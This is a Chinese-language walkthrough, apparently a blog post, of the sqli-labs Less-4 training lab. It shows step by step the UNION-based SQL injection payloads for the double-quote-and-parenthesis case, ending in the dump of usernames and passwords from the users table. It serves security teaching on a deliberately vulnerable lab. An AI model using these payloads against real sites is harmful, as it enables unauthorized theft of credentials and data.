[网络安全]sqli-labs Less-4 解题详析

判断注入类型

GET1" and "1"="1,回显如下:

GET1" and "1"="2
没有回显,说明该漏洞类型为GET型双引号字符型注入

判断注入点个数

GET1" order by 3 --+

复制代码
由上图可知,sql语法中给$id加上了()
猜测后端语句为SELECT * FROM xx where id=("$id")
故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=("1") order by 3 --+")
即SELECT * FROM xx where id=("-1") order by 3

GET1") order by 3 --+

GET1") order by 4 --+
故注入点为3

查库名

GET-1") union select 1,2,database(); --+

回显库名security

查表名

复制代码
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

复制代码
-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

Payload:-1") union select 1,group_concat(username),group_concat(password) from 库名.表名; --+

实例如下:

复制代码
-1") union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
mit6.82411 分钟前
sql窗口函数
数据库
七七七七0739 分钟前
【Redis】Ubuntu22.04安装redis++
数据库·redis·缓存
子非鱼9211 小时前
MyBatisPlus快速上手
数据库·spring boot·mybatisplus
DBA小马哥1 小时前
从传统数据库到金仓数据库:时序数据迁移的挑战与解决方案
数据库·时序数据库·dba
什么都不会的Tristan1 小时前
redis-原理篇-Dict
数据库·redis·缓存
数据知道1 小时前
亿级图片链接存入 PostgreSQL,URL链接字段数据类型用哪个最合适?
数据库·postgresql
马克学长1 小时前
SSM学生综合素质评价系统wy345(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·ssm 框架·学生综合素质评价系统·家校协同
煎蛋学姐1 小时前
SSM学生宿舍管理系统a55l1(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·学生宿舍管理系统·ssm 框架
xuefuhe1 小时前
PG权限privilege
数据库
重生之绝世牛码1 小时前
Linux软件安装 —— Redis集群安装(三主三从)
大数据·linux·运维·数据库·redis·数据库开发·软件安装